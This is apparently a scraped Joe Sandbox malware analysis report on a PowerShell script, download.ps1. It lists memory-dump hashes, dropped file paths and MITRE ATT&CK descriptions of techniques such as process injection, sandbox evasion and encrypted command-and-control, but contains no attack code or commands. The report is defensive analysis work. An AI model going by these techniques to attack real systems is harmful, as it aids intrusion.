Opcode ID: e742151a170aa4d704c8547cbcd7435ed50f42a985c0bc9a99c120ce301742c7
Instruction ID: f706186311805f84763c241074082f949325a2e4e6b8fbea58b98ffc3ff1314c
Opcode Fuzzy Hash: e742151a170aa4d704c8547cbcd7435ed50f42a985c0bc9a99c120ce301742c7
Instruction Fuzzy Hash: 9ED1E26190EAC68FF757EB7888155A57FA1EF52220B1891FFE48DCB0A3D91CD809C391

Function 00007FFAAC6C3589 Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1437971389.00007FFAAC6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC6C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac6c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6998d326fb7a3117baa647e17c77b7ac20bf6612acce47b18d0c0f0315626287
Instruction ID: b478cd6a45cd70c9168e1d3df216ea631efb27f154be802e7016c0bf51402763
Opcode Fuzzy Hash: 6998d326fb7a3117baa647e17c77b7ac20bf6612acce47b18d0c0f0315626287
Instruction Fuzzy Hash: 3CD107B291EB868FF797DB2C88591F57BE0EF56310B1461BAD04EC7192DA28DC0987C1

Function 00007FFAAC6E683D Relevance: 7.7, Strings: 6, Instructions: 193COMMON

Download Yara Rule

Strings

}, xrefs: 00007FFAAC6E695C
}, xrefs: 00007FFAAC6E6925
}, xrefs: 00007FFAAC6E6937
}, xrefs: 00007FFAAC6E690E
}, xrefs: 00007FFAAC6E68EA
}, xrefs: 00007FFAAC6E694A

Memory Dump Source

Source File: 00000000.00000002.1438207819.00007FFAAC6E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac6e0000_powershell.jbxd

Similarity

API ID:
String ID: }$ }$ }$ }$ }$ }
API String ID: 0-2881616559
Opcode ID: 90c669aeb64a4e14d81e2415dccd64325b7eeec18fa26167ed105d1eff3b4b7a
Instruction ID: 5a31dfe268a0de30d49b26a25f4302f469814bc7193539ea0a5c32c6dd9ba07c
Opcode Fuzzy Hash: 90c669aeb64a4e14d81e2415dccd64325b7eeec18fa26167ed105d1eff3b4b7a
Instruction Fuzzy Hash: F951C2A6A1E7CA4FE757C76818655716FE19FA3210B19A0FBE08CCA1A3D908D909C3D1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report download.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5cnj4uiq.xtp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gr0la51e.t4p.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ot0i0if1.vux.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2chukqj.1ra.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KPKXWNIPJLLJS798ZWAM.temp

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Windows Analysis Report
download.ps1